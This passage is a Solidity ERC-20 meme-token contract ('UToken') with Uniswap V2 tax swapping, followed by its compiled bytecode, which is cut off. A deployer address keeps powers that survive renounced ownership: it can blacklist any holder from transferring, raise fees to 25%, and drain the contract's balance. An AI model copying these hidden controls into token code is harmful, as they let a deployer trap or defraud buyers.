} } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BagSwap is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "UToken"; string private constant _symbol = unicode"$UTOKEN"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _devTax = 4; uint256 private _marketingTax = 4; uint256 private _salesTax = 3; uint256 private _summedTax = _marketingTax+_salesTax; uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9; uint256 private _routermax = 5000000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _Marketingfund; address payable private _Deployer; address payable private _devWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable marketingTaxAddress, address payable devfeeAddr, address payable depAddr) { _Marketingfund = marketingTaxAddress; _Deployer = depAddr; _devWalletAddress = devfeeAddr; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_Marketingfund] = true; _isExcludedFromFee[_devWalletAddress] = true; _isExcludedFromFee[_Deployer] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_devTax == 0 && _summedTax == 0) return; _devTax = 0; _summedTax = 0; } function restoreAllFee() private { _devTax = 4; _marketingTax = 4; _salesTax = 3; _summedTax = _marketingTax+_salesTax; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } if(from != address(this)){ require(amount <= _maxTxAmount); } require(!bots[from] && !bots[to] && !bots[msg.sender]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } // This is done to prevent the taxes from filling up in the router since compiled taxes emptying can impact the chart. // This reduces the impact of taxes on the chart. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _Marketingfund.transfer(amount.div(11).mul(4)); _devWalletAddress.transfer(amount.div(11).mul(4)); _Deployer.transfer(amount.div(11).mul(3)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 25000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external { require(_msgSender() == _Deployer); swapEnabled = enabled; } function manualswap() external { require(_msgSender() == _Deployer); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _Deployer); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public { require(_msgSender() == _Deployer); for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public { require(_msgSender() == _Deployer); bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _devTax, _summedTax); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external { require(_msgSender() == _Deployer); require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external { require(_msgSender() == _Deployer); require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setTeamFee(uint256 teamFee) external { require(_msgSender() == _Deployer); require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _summedTax = teamFee; } }
0x60806040526004361061014f5760003560e01c806395d89b41116100b6578063cba0e9961161006f578063cba0e9961461044f578063d00efb2f1461048c578063d543dbeb146104b7578063dd62ed3e146104e0578063e01af92c1461051d578063e47d60601461054657610156565b806395d89b4114610367578063a9059cbb14610392578063b515566a146103cf578063c0e6b46e146103f8578063c3c8cd8014610421578063c9567bf91461043857610156565b8063313ce56711610108578063313ce5671461027d5780635932ead1146102a85780636fc3eaec146102d157806370a08231146102e8578063715018a6146103255780638da5cb5b1461033c57610156565b806306fdde031461015b578063095ea7b31461018657806318160ddd146101c357806323b872dd146101ee578063273123b71461022b578063286671621461025457610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610583565b60405161017d9190612d25565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612def565b6105c0565b6040516101ba9190612e4a565b60405180910390f35b3480156101cf57600080fd5b506101d86105de565b6040516101e59190612e74565b60405180910390f35b3480156101fa57600080fd5b5061021560048036038101906102109190612e8f565b6105ef565b6040516102229190612e4a565b60405180910390f35b34801561023757600080fd5b50610252600480360381019061024d9190612ee2565b6106c8565b005b34801561026057600080fd5b5061027b60048036038101906102769190612f0f565b610784565b005b34801561028957600080fd5b50610292610840565b60405161029f9190612f58565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190612f9f565b610849565b005b3480156102dd57600080fd5b506102e66108fb565b005b3480156102f457600080fd5b5061030f600480360381019061030a9190612ee2565b61096d565b60405161031c9190612e74565b60405180910390f35b34801561033157600080fd5b5061033a6109be565b005b34801561034857600080fd5b50610351610b11565b60405161035e9190612fdb565b60405180910390f35b34801561037357600080fd5b5061037c610b3a565b6040516103899190612d25565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b49190612def565b610b77565b6040516103c69190612e4a565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f1919061313e565b610b95565b005b34801561040457600080fd5b5061041f600480360381019061041a9190612f0f565b610c8b565b005b34801561042d57600080fd5b50610436610d68565b005b34801561044457600080fd5b5061044d610de2565b005b34801561045b57600080fd5b5061047660048036038101906104719190612ee2565b6112f8565b6040516104839190612e4a565b60405180910390f35b34801561049857600080fd5b506104a161134e565b6040516104ae9190612e74565b60405180910390f35b3480156104c357600080fd5b506104de60048036038101906104d99190612f0f565b611354565b005b3480156104ec57600080fd5b5061050760048036038101906105029190613187565b611469565b6040516105149190612e74565b60405180910390f35b34801561052957600080fd5b50610544600480360381019061053f9190612f9f565b6114f0565b005b34801561055257600080fd5b5061056d60048036038101906105689190612ee2565b61156e565b60405161057a9190612e4a565b60405180910390f35b60606040518060400160405280600681526020017f55546f6b656e0000000000000000000000000000000000000000000000000000815250905090565b60006105d46105cd6115c4565b84846115cc565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105fc848484611797565b6106bd846106086115c4565b6106b885604051806060016040528060288152602001613d3560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061066e6115c4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205d9092919063ffffffff16565b6115cc565b600190509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107096115c4565b73ffffffffffffffffffffffffffffffffffffffff161461072957600080fd5b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c56115c4565b73ffffffffffffffffffffffffffffffffffffffff16146107e557600080fd5b600181101580156107f7575060198111155b610836576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082d90613213565b60405180910390fd5b80600b8190555050565b60006009905090565b6108516115c4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d59061327f565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661093c6115c4565b73ffffffffffffffffffffffffffffffffffffffff161461095c57600080fd5b600047905061096a816120c1565b50565b60006109b7600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612271565b9050919050565b6109c66115c4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4a9061327f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f2455544f4b454e00000000000000000000000000000000000000000000000000815250905090565b6000610b8b610b846115c4565b8484611797565b6001905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd66115c4565b73ffffffffffffffffffffffffffffffffffffffff1614610bf657600080fd5b60005b8151811015610c87576001600e6000848481518110610c1b57610c1a61329f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c7f906132fd565b915050610bf9565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ccc6115c4565b73ffffffffffffffffffffffffffffffffffffffff1614610cec57600080fd5b60008111610d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2690613392565b60405180910390fd5b610d5f612710610d5183683635c9adc5dea000006122df90919063ffffffff16565b61235a90919063ffffffff16565b600d8190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610da96115c4565b73ffffffffffffffffffffffffffffffffffffffff1614610dc957600080fd5b6000610dd43061096d565b9050610ddf816123a4565b50565b610dea6115c4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e9061327f565b60405180910390fd5b60148054906101000a900460ff1615610ec5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebc906133fe565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f5530601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006115cc565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fa0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc49190613433565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561102b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104f9190613433565b6040518363ffffffff1660e01b815260040161106c929190613460565b6020604051808303816000875af115801561108b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110af9190613433565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111383061096d565b600080611143610b11565b426040518863ffffffff1660e01b8152600401611165969594939291906134ce565b60606040518083038185885af1158015611183573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a89190613544565b5050506001601460166101000a81548160ff0219169083151502179055506000601460176101000a81548160ff02191690831515021790555068015af1d78b58c400006015819055504360168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112b1929190613597565b6020604051808303816000875af11580156112d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f491906135d5565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60165481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113956115c4565b73ffffffffffffffffffffffffffffffffffffffff16146113b557600080fd5b600081116113f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ef90613392565b60405180910390fd5b611427606461141983683635c9adc5dea000006122df90919063ffffffff16565b61235a90919063ffffffff16565b6015819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60155460405161145e9190612e74565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115316115c4565b73ffffffffffffffffffffffffffffffffffffffff161461155157600080fd5b80601460166101000a81548160ff02191690831515021790555050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561163c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163390613674565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a390613706565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161178a9190612e74565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611807576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fe90613798565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186e9061382a565b60405180910390fd5b600081116118ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b1906138bc565b60405180910390fd5b6118c2610b11565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119305750611900610b11565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f9a57601460179054906101000a900460ff1615611b63573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a0c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a665750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6257601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611aac6115c4565b73ffffffffffffffffffffffffffffffffffffffff161480611b225750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611b0a6115c4565b73ffffffffffffffffffffffffffffffffffffffff16145b611b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5890613928565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ba657601554811115611ba557600080fd5b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c4a5750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ca05750600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ca957600080fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d545750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611daa5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611dc25750601460179054906101000a900460ff165b15611e635742600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611e1257600080fd5b600f42611e1f9190613948565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611e6e3061096d565b9050600d548110611e7f57600d5490505b6000600c548210159050601460159054906101000a900460ff16158015611eb25750601460169054906101000a900460ff165b8015611ebb5750805b8015611f155750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f6f5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611f9757611f7d826123a4565b60004790506000811115611f9557611f94476120c1565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120415750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561204b57600090505b6120578484848461261d565b50505050565b60008383111582906120a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209c9190612d25565b60405180910390fd5b50600083856120b4919061399e565b9050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121246004612116600b8661235a90919063ffffffff16565b6122df90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561214f573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121b360046121a5600b8661235a90919063ffffffff16565b6122df90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122426003612234600b8661235a90919063ffffffff16565b6122df90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561226d573d6000803e3d6000fd5b5050565b60006006548211156122b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122af90613a44565b60405180910390fd5b60006122c261264a565b90506122d7818461235a90919063ffffffff16565b915050919050565b6000808314156122f25760009050612354565b600082846123009190613a64565b905082848261230f9190613aed565b1461234f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234690613b90565b60405180910390fd5b809150505b92915050565b600061239c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612675565b905092915050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123dc576123db612ffb565b5b60405190808252806020026020018201604052801561240a5781602001602082028036833780820191505090505b50905030816000815181106124225761242161329f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124ed9190613433565b816001815181106125015761250061329f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061256830601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115cc565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125cc959493929190613c6e565b600060405180830381600087803b1580156125e657600080fd5b505af11580156125fa573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b8061262b5761262a6126d8565b5b612636848484612709565b80612644576126436128d4565b5b50505050565b6000806000612657612904565b9150915061266e818361235a90919063ffffffff16565b9250505090565b600080831182906126bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b39190612d25565b60405180910390fd5b50600083856126cb9190613aed565b9050809150509392505050565b60006008541480156126ec57506000600b54145b156126f657612707565b60006008819055506000600b819055505b565b60008060008060008061271b87612966565b95509550955095509550955061277986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ce90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061280e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061285a81612a76565b6128648483612b33565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128c19190612e74565b60405180910390a3505050505050505050565b600460088190555060046009819055506003600a81905550600a546009546128fc9190613948565b600b81905550565b600080600060065490506000683635c9adc5dea00000905061293a683635c9adc5dea0000060065461235a90919063ffffffff16565b82101561295957600654683635c9adc5dea00000935093505050612962565b81819350935050505b9091565b600080600080600080600080600061298